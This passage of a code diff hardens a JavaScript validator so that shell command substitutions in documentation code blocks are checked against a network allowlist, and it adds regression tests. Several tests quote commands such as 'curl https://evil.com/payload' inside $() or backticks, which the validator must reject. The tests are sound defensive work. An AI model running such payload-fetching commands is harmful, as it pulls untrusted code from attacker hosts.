the same way the main validator does. - const tokens = tokenise(bodyTrimmed); - if (tokens.length === 0) continue; + // Recurse into the assignment value in case it contains further substitutions. + validateCommandSubstitutions(envMatch[2] ?? "", location, errors); + remaining = remaining.slice(envMatch[0].length).trim(); + } - const exe = tokens[0]; + if (!remaining) continue; - // Skip variable expansions or operator tokens as the "executable". - if (exe.startsWith("$") || exe.startsWith("`")) continue; - if (["|", "||", "&&", ";", "\\"].includes(exe)) continue; + // Tokenise the remaining command. + const tokens = tokenise(remaining); + if (tokens.length === 0) continue; - if (!KNOWN_TOOLS.has(exe)) { - errors.push( - `${location}: unknown executable '${exe}' inside command substitution — ` + - `add it to KNOWN_TOOLS in scripts/check-shell-commands.mjs if it is a real tool`, - ); + const exe = tokens[0]; + + // Skip variable expansions or operator tokens as the "executable". + if (exe.startsWith("$") || exe.startsWith("`")) continue; + if (["|", "||", "&&", ";", "\\"].includes(exe)) continue; + + // ---- Unknown executable ---- + if (!KNOWN_TOOLS.has(exe)) { + errors.push( + `${location}: unknown executable '${exe}' inside command substitution — ` + + `add it to KNOWN_TOOLS in scripts/check-shell-commands.mjs if it is a real tool`, + ); + continue; // No point running further checks on an unknown tool. + } + + // ---- Network / destructive allowlist ---- + // Apply exactly the same check as for top-level commands: if the + // executable is a network/destructive tool the full command string must + // match one of the allowlist patterns. + if (isNetworkCommand(exe, tokens)) { + if (!NETWORK_ALLOWLIST.some((re) => re.test(remaining))) { + errors.push( + `${location}: network/destructive command not in allowlist (inside command substitution): ` + + `'${remaining.slice(0, 80)}' — ` + + `add a pattern to NETWORK_ALLOWLIST in scripts/check-shell-commands.mjs`, + ); + } + // Don't validate flags on allowlisted network commands — shapes vary widely. + continue; + } + + // ---- Flag well-formedness ---- + errors.push(...validateFlags(exe, tokens.slice(1), location, remaining)); + + // ---- Local path arguments ---- + errors.push(...validateLocalPaths(tokens.slice(1), location)); } } } diff --git a/scripts/check-shell-commands.test.mjs b/scripts/check-shell-commands.test.mjs index bdbd675..afda886 100644 --- a/scripts/check-shell-commands.test.mjs +++ b/scripts/check-shell-commands.test.mjs @@ -834,3 +834,125 @@ test("validateFence: multiple clean known-tool substitutions pass", () => { const errors = validateFence(fence("echo $(node --version) $(echo ok)\n")); assert.equal(errors.length, 0); }); + +// --------------------------------------------------------------------------- +// Network-allowlist bypass regression tests (commit 03715a3 gap) +// +// Previously validateCommandSubstitutions only checked whether the executable +// name was in KNOWN_TOOLS. That meant curl/wget to arbitrary domains inside +// $(...) or `...` were silently accepted because "curl" is a known tool. +// The tests below are the specific cases the maintainer reported. +// --------------------------------------------------------------------------- + +test("validateFence: rejects curl to arbitrary domain inside $() — argument position", () => { + // echo $(curl https://evil.com/payload) must be caught. + const errors = validateFence(fence("echo $(curl https://evil.com/payload)\n")); + assert.equal(errors.length, 1); + assert.match(errors[0], /not in allowlist/); + assert.match(errors[0], /evil\.com/); +}); + +test("validateFence: rejects curl to arbitrary domain inside backtick — argument position", () => { + // echo `curl https://evil.com/payload` must be caught. + const errors = validateFence(fence("echo `curl https://evil.com/payload`\n")); + assert.equal(errors.length, 1); + assert.match(errors[0], /not in allowlist/); + assert.match(errors[0], /evil\.com/); +}); + +test("validateFence: rejects curl to arbitrary domain inside $() assignment — SIGNED_XDR", () => { + // SIGNED_XDR=$(curl https://evil.com/payload) must be caught. + const errors = validateFence(fence("SIGNED_XDR=$(curl https://evil.com/payload)\n")); + assert.equal(errors.length, 1); + assert.match(errors[0], /not in allowlist/); + assert.match(errors[0], /evil\.com/); +}); + +test("validateFence: rejects curl to arbitrary domain inside backtick assignment — SIGNED_XDR", () => { + // SIGNED_XDR=`curl https://evil.com/payload` must be caught. + const errors = validateFence(fence("SIGNED_XDR=`curl https://evil.com/payload`\n")); + assert.equal(errors.length, 1); + assert.match(errors[0], /not in allowlist/); + assert.match(errors[0], /evil\.com/); +}); + +test("validateFence: rejects wget to arbitrary domain inside $()", () => { + const errors = validateFence(fence("echo $(wget https://evil.com/payload)\n")); + assert.equal(errors.length, 1); + assert.match(errors[0], /not in allowlist/); + assert.match(errors[0], /evil\.com/); +}); + +test("validateFence: rejects wget to arbitrary domain inside backticks", () => { + const errors = validateFence(fence("echo `wget https://evil.com/payload`\n")); + assert.equal(errors.length, 1); + assert.match(errors[0], /not in allowlist/); + assert.match(errors[0], /evil\.com/); +}); + +test("validateFence: rejects compound command inside $() — unknown tool after pipe", () => { + // $(echo foo | totally-unknown-tool) — the second segment must be validated. + const errors = validateFence(fence("echo $(echo foo | totally-unknown-tool)\n")); + assert.ok(errors.some((e) => /unknown executable/.test(e) && /totally-unknown-tool/.test(e))); +}); + +test("validateFence: rejects compound command inside backticks — unknown tool after semicolon", () => { + // `echo foo; totally-unknown-tool` — the second segment must be validated. + const errors = validateFence(fence("echo `echo foo; totally-unknown-tool`\n")); + assert.ok(errors.some((e) => /unknown executable/.test(e) && /totally-unknown-tool/.test(e))); +}); + +test("validateFence: rejects curl to arbitrary domain inside compound $() after &&", () => { + // git clone ... && echo $(curl https://evil.com/payload) + const errors = validateFence( + fence( + "git clone https://github.com/wraith-protocol/contracts.git && " + + "echo $(curl https://evil.com/payload)\n", + ), + ); + assert.ok(errors.some((e) => /not in allowlist/.test(e) && /evil\.com/.test(e))); +}); + +// Ensure allowlisted substitutions still pass after the fix. + +test("validateFence: allowlisted curl inside $() still passes — friendbot addr subshell", () => { + // The existing friendbot-via-subshell pattern in NETWORK_ALLOWLIST. + const code = + 'curl "https://friendbot.stellar.org/?addr=$(stellar keys address my-key)"\n'; + assert.equal(validateFence(fence(code)).length, 0); +}); + +test("validateFence: allowlisted curl inside $() still passes — Wraith API endpoint", () => { + // Wraith API is in NETWORK_ALLOWLIST; nesting it inside a documented-var + // substitution must stay valid. SIGNED_XDR is in KNOWN_ENV_VARS. + const errors = validateFence( + fence("SIGNED_XDR=$(curl https://api.usewraith.xyz/agent/info/payments)\n"), + ); + assert.equal(errors.length, 0); +}); + +test("validateCommandSubstitutions: rejects curl to arbitrary domain inside $() directly", () => { + const errors = []; + validateCommandSubstitutions("$(curl https://evil.com/payload)", "file.mdx:1", errors); + assert.equal(errors.length, 1); + assert.match(errors[0], /not in allowlist/); + assert.match(errors[0], /evil\.com/); +}); + +test("validateCommandSubstitutions: rejects curl to arbitrary domain inside backtick directly", () => { + const errors = []; + validateCommandSubstitutions("`curl https://evil.com/payload`", "file.mdx:1", errors); + assert.equal(errors.length, 1); + assert.match(errors[0], /not in allowlist/); + assert.match(errors[0], /evil\.com/); +}); + +test("validateCommandSubstitutions: allows allowlisted curl inside $()", () => { + const errors = []; + validateCommandSubstitutions( + "$(curl https://api.usewraith.xyz/agent/info/payments)", + "file.mdx:1", + errors, + ); + assert.equal(errors.length, 0); +});